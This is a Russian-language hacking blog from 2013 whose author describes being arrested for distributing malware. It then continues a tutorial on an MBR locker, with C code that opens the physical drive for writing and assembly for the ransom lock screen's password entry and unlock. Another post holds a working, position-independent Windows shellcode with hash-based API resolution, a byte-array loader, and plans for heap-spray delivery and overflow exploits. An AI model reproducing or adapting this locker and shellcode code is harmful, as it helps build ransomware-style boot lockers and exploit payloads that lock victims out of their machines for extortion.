Общее·количество·просмотров·страницы

среда, 7 августа 2013 г.

Станем хорошими или продолжение mbr locker'a и обо всем-всем-всем)

Well, lets start in order. 02.07.2013 about 7:30 AM, I was arrested by Belarus policemen's.For the creating and distribution malware.Why this happened? 'Cause:
1)Client distributed malware in BY
2)There was XXXXX sum of money (stolen)
3)They are responsible people

It seems I talked in each post in this blog that the material "is used for educational purposes" , and I tell it right now- "FOR EDUCATION PURPOSES". ohh okay..)
but it's okay... I'm free... so, if you read it my friends, I just say "Hello)" to you ho-ho-ho)))

our UA policemen's was so cute ^^ "We got hacker DooD, oh yeah!")))
okay, forgot about it, it wasn't cool.It was like in a matrix.I was.night-hack, day-only student)
night...Massive Attack-dissolved girl)like a matrix)

that all about it.

Later, when I was freed, they gave me my nexus devices, cards, flash drives etc.But harddrive was their.
I have it later, before concert).

That was beautiful 3 days of ROCK))
And some photos;)

Sandra) Guano apes



BI-2


Kristina) Lacuna Coil



 Klaus Meine, Scorpions)




Окей ладно.привет)
Решил я тут завершить уже с mbr lock как бы, что бы у самого не оставалось никаких интересов больше. В общем то по названию поста, станем "хорошими)"Что это значит- сделаем строчку ввода кода,обработку клавиш, ну и разблокировку)

продолжение вот этой http://bydood.blogspot.com/2012/07/mbr-locker.html

ЧТО ЮЗАЛОСЬ:
1)nasm
2)C
3)IDA
4)sourcer
5)bochs

Что я думал в идеале должно быть:
Дроппером должен искаться первый чистый сектор (пускай физического диска) и бэкапиться туда mbr windows(конечно можно там извратиться с его зашифровкой и т.д. и т.п., но у нас наглядно).

int i;

HANDLE hout;

byte buf[512];

byte zerobuf[512]={0} ;

char st[1];

DWORD nr;
hout=CreateFile(TEXT("\\\\.\\PhysicalDrive0"),GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
for (i=0;i<=63;i++)
{
ReadFile(hout,&buf,512,&nr,NULL);
 if (strcmp(buf,zerobuf)==0)
{
_itoa(i,st,10);
MessageBox(0,TEXT("Найден пустой сектор под номером"),st,0);
ExitProcess(0);
}
else
MessageBox(0,0,0,0);
}

CloseHandle(hout);

итак что тут происходит у нас:
может я плохо искал, но как я знаю- побайтово читать сектор нельзя, а даже если и можно то наверное придется извращаться.а мы ленивые,очень.по этому просто зададим массив из 512 нулей (предположим что сектор 512 байт, в 99% это так.В любом случае размер сектора можно выдрать из геометрии диска-GetDiskFreeSpace,например)и будем сравнивать его в цикле с массивом байтов сектора (сектором).если найден такой сектор то помещаем туда mbr windows( в примере выводится сообщение с номером сектора, начиная от 0 само собой).
Дальше как в предыдущей статье, записываемся вместо mbr windows.Насчет того как восстанавливать- есть разные варианты, как пример дроппер может записать номер сектора с оригинальным mbr куда то в другой сектор, а наш mbr будет его оттуда брать,но вообще я не думал об этом.

Ну дальше ассемблер.
Нужно вывести строку про введение кода:

mov ah,0x13
mov al,1
mov bx,15
mov cx,13
mov dx,0x1700
mov bp,strmsg
int 0x10

тут все так же как и 1-й части, только добавим координаты в dx

для более универсального изучения (на самом деле мне было не охота копаться в прерываниях, да и дизасм залежался что то))я решил дизасмнуть какой то локер, скачал его на Рыгхосте.

вижу такое:

понимаю что это набор байт которые пишет дроппер, судя по сигнатуре mbr.
конечно можно нажать code ,но ИДА как то кривовато анализирует бинарники,так что я взял старый,добрый СОРСЕР

и тот выдал мне нехерово подробный листинг =D

ну все равно в прерывания пришлось лезть и вспоминать все эти извраты с клавишами)

mov di,0x8000
jboe: 
xor ah,ah
push di
int 0x16

pop di

будем писать по такому то адресу)тут можно не объяснять)

cmp al,0x08
je bck

jmp tst

bck:

нажали backspace? будем обрабатывать))иначе прыгаем на проверку ввода

mov ah,3
xor bh,bh
int 0x10
cmp dl,0x0D
jbe jboe
Начало строки? (ничего не введено- возврат каретки)- ничего не делаем

mov ah,3
xor bh,bh
int 0x10

dec dl

mov ah,2
xor bh,bh
int 0x10

считали курсор-декрементируем позицию и устанавливаем курсор.

mov al,' '
mov ah,0xA
int 0x10

записываем пробел.

xor bh,bh
mov ah,2
int 0x10

dec di

jmp jboe

устанавливаем курсор-и снова на ввод.

это был только "обработчик события") клавиши backspace
тут начинается проверка:

tst:
cmp al,0x0D
jnz char

этнэр?-проверка разрешимых символов и вывод

mov si,psw
mov di,0x8000
xor ch,ch
mov cl,6
repe cmpsb
jz ent

сравниваем введенные символы по адресу с строкой по адресу.
И да да, начнется бугурт- типа пароль в открытом виде хули там его искать тыры-пыры- снова повторюсь-для наглядности, пароль можно зашифровать и расшифровывать на лету, можно заныкать в другой сектор, и т.д. и т.п.

если ввели правильно (тут идет первые 6, то что мне кол-во впадлу было обрабатывать)
то переходим к процедуре возврата сектора.

pushad

mov ah,2
xor bh,bh
mov dx,0x170C
int 0x10

mov ax,0x0A20
mov cx,80
int 0x10

mov ah,0x13
mov al,1
mov bx,2
mov cx,5
mov dx,0x1800
mov bp,err
int 0x10 

mov ah,2
xor bh,bh
mov dx,0x170D
int 0x10
popad 
mov di,0x8000
jmp jboe


иначе-сохраним все базовые регистры, установим курсор в позицию, запишем 80 пробелов (так проще что бы не перерисовывать экран) и выдадим сообщение о ошибке, после чего отправим снова на ввод)))

Теперь будем проверять что бы юзвер не жмакал то что нам не угодно:

cmp al,'0'
jc jboe
cmp al,'9'
ja jboe
stosb
mov ah,0x00E
push di
int 0x10
pop di
jmp jboe

буквы,символы етц- нахер. только цифры))
и пишем их на экранчике,снова и снова, и снова, и снова)))

И ВОТ, такие моменты в исполнении Виктора Зангиева бывают очень опасны) (ладно что то я бушидо пересмотрел, не ну ,а что, сухое повествование тоже не кайф;))

дошли до разблокировки:

ent:

mov ax,03
int 0x10

mov ax,0x1301
mov bx,0xC
mov cx,93
xor dx,dx
mov bp,yes
int 0x10

xor ax,ax
int 0x16
jmp 0xFFFF:0x0000

очищаем дисплей, пишем наше послание пользователю))
(перед прерыванием клавиатуры, понятно должна быть процедура восстановления оригинального mbr и передачи управления на него, но я это уже делал, так что мне лень, можно тут поискать в споте как это делается)
просим нажать что то и делаем програмный ребут (все еще ж в реальном режиме)))

ну вот в общем то как бы и все))

теперь можно поглазеть как это работает, да и к тому же как настроить борщ для более-менее вменяемой отладки) (эмулировал на флопаре, ибо суть не меняется вообще, а настраивать АТА как то не охота было))

видео

Вот и сказочке конец господа.Через пару деньков поеду на морэ подъотдохну слегка, а потом продолжу копошиться с bios bootkit) да да такая интересная параша, nitin и vipin рулят))хотя еще покопошусь в коде wolfenstein 3D 1992 (кармак шикарный программер,у таких учиться надо,заодно по Сям подтянусь немножко) ну и в следующий, неизвестно когда раз, поговорим о восстановлении таблиц разделов из-за подлых mbr lock- ов.

бай бай.

PS: о стоп надо оставить немного музыки)

http://www.youtube.com/watch?v=GAiceRuLX1I
http://www.youtube.com/watch?v=KDwgQyJ_uzg
http://www.youtube.com/watch?v=Rgl_9ZVTQKk




пятница, 12 июля 2013 г.

ЭТО ПОЛНАЯ ХРЕНЬ! (С)

немножко попозже я приду,и, может быть, что то расскажу.
а пока я должен отдохнуть немного.4 дня.на фестивале хэлл еа!)

u guys just blow my mind!)

четверг, 27 июня 2013 г.

загрузчик exe/First blood)

Первые шаги к написанию микроядра.Понятное дело,что пока этот кусок дерьма умеет работать только с fat12 и использовать только сервисы микросхемы bios. код пока не выкладываю в виду его полной ущербности;)


пятница, 7 июня 2013 г.

вторая часть

я сделал вторую часть уже, но кинул на античате потому что давно ничего не писал.

теперь не знаю сколько меня не будет еще из-за учебы. дальше по плану уязвимый сервер и эксплоит buffer overflow к нему;)

воскресенье, 5 мая 2013 г.

hell yeah!)

Вот типа и я))).
Как я говорил раньше,если бы была олимпиада по лени-я был бы чемпионом мира)
ну суть не в этом в общем,я хочу провести теперь небольшое исследование.
меня заинтересовала эта тема,про mini duke malware, конкретно алгоритм который описывал sn0w из античата:

короче через хипспрей исполняется шеллкод, а исполняется ясен пень в бровсере. бровсер скачивает гифку, авер же не может понять че там нарисовано. поскольку пейлод зашифрован то и понять невозможно, данные ли это изображения или чето еще. поэтому спокойно пропускает. далее шеллкод раскриптовывает скачанный пейлод и запускает его.

я не буду показывать технику хипспрей(как работает можно найти в тырнете,в целом не трудно) предположительно план таков:

1)Напишем шеллкод (потому что хоть это у меня готово)
2)прокурим что это за тема такая "стеганография"
3)попробуем разобраться с переполнением на собственном примере
4)и попробуем сделать так что бы шеллкод исполнился в 3-пункте

// последние два пункта я не уверен еще ахаха)

А пока начнем с шеллкода.
что это,как пишется и т.д. и т.п. довольна обширная тема, к прочтению советуется wasm и статья slesh'a на античате.
я же скажу вкратце: шеллкод=базонезависимый код, прежде всего.
т.е. он должен работать например на линейке ОС windows с 2000 по 8 скажем, ну или как то так.

что бы добиться базонезависимости, мы понятно должны отречься от зашитых адресов функций из других систем windows ( потому что даже банальный патч или сервиспак уже может этот адрес изменить,и ясно дело шеллкод не будет работать).должны отречься от использования системных loadlibrary и getprocaddress (хотя они вроде и на древних виндах есть,но имхо это не шеллкод,а хрень получится),в идеале конечно шеллкод не должен содержать нуль-байтов, но это так,нам для наглядности и обычный подойдет.

Примерный алгоритм таков:
1)находим т.н. список модулей ininitorder
2)получаем указатель на kernel (обычно через PEB)
3)находим PE заголовок и таблицу экспорта имен
4)прошвыриваемся по таблице,сравнивая 16 битный хеш функции с нужным нам хешем
5)нашли хеш-находим адрес
6)нашли адрес-передаем параметры,вызываем.

и так я не мог проверить на древних виндах (если честно лень))))
работает на всех паках xp и 7 х86-х64
при выполнении выводит пустое окошко messagebox

написано на netwide assembler, исполнено на delphi (BASM).

приступим:

bits 32

rork equ 1

xloadlibrary equ 1101010101010b

xmessagebox equ 1011011000101010b

указываем что код 32-битный и указываем сдвиг для хеша, и хеши как вы догадались loadlibrary и messagebox

find_hash: 
    xor     ecx, ecx                  
    mov     esi, [fs:ecx + 0x30]       
    mov     esi, [esi + 0x0c]           
    mov     esi, [esi + 0x1c]          
next_module:
    mov     ebp, [esi + 0x08]           
    mov     edi, [esi + 0x20]          
    mov     esi, [esi]                 
    cmp     [edi + 12*2], cl
    jne     next_modul

находим ininitorder через PEB, получаем baseaddress, module name и проверяем закончились ли модули.

xgetprocaddress: 
    mov     ebx, [ebp + 0x3c]          
    mov     ebx, [ebp + ebx + 0x78]    
    add     ebx, ebp                    
    mov     ecx, [ebx + 0x18]          
    jcxz    next_module 

находим заголовок PE и таблицу экспорта,а также число указателей имен ф-й.

теперь честно спизженная функция поиска по хешу :D

next_function_loop: 
    mov     edi, [ebx + 0x20]          
    add     edi, ebp                   
    mov     edi, [edi + ecx * 4 - 4]   
    add     edi, ebp                    
    xor     eax, eax                    
    cdq                                
hash_loop:
    xor     dl, [edi]
    ror     dx, byte rork
    scasb
    jne     hash_loop
    cmp     dx, xmessagebox
    je      found_messagebox           
    cmp     dx, xloadlibrary
    loopne  next_function_loop          
    jne     next_module       
         
found_messagebox:
   
    mov     edx, [ebx + 0x24]          
    add     edx, ebp                   
    movzx   edx, word [edx + 2 * ecx]   

    mov     edi, [ebx + 0x1c]           
    add     edi, ebp                    
    add     ebp, [edi + 4 * edx]       
    test    esi, esi
    jz      messagebox

проходимся по модулям по таблицам сравнивая хеши-нашли прыгаем, иначе грузим user32 dll т.к. messagebox содержится там

loadlibrary:                         
    xor ecx, ecx
    mov cx, 0x3233  
push ecx

push 0x72657375
push    esp                         

    call    ebp                        
    xchg    eax, ebp                    
    xor     esi, esi                   
    jmp     xgetprocaddress

значения,заталкиваемые в стэк, ничто иное как строка в хекс виде.
грузим dll- ку. в ebp будет указатель на нее.

ну осталось только вызвать
    xor      eax, eax
    push    eax    
    push    eax  
    push    eax    
    push    eax                       
    call    ebp 

вызываем как обычную АПИ.

Вот и все, получается такой себе 130 байтовый шеллкодес вызывающий сообщение)

проверим его таким методом:

program Project2;
var
data: array[0..129] of byte = (
$31, $C9, $64, $8B, $71, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E, $08, $8B,
$7E, $20, $8B, $36, $38, $4F, $18, $75, $F3, $8B, $5D, $3C, $8B, $5C, $1D, $78,
$01, $EB, $8B, $4B, $18, $67, $E3, $E4, $8B, $7B, $20, $01, $EF, $8B, $7C, $8F,
$FC, $01, $EF, $31, $C0, $99, $32, $17, $66, $C1, $CA, $01, $AE, $75, $F7, $66,
$81, $FA, $2A, $B6, $74, $09, $66, $81, $FA, $AA, $1A, $E0, $DB, $75, $BD, $8B,
$53, $24, $01, $EA, $0F, $B7, $14, $4A, $8B, $7B, $1C, $01, $EF, $03, $2C, $97,
$85, $F6, $74, $14, $31, $C9, $66, $B9, $33, $32, $51, $68, $75, $73, $65, $72,
$54, $FF, $D5, $95, $31, $F6, $EB, $A1, $6A, $00, $6A, $00, $6A, $00, $6A, $00,
$FF, $D5
);
begin
asm
lea eax,data
call eax
end;
end.

с первой частью покончено. продолжим чуть позже)

upd я немного изменил шеллкод,что бы был без нульбайт.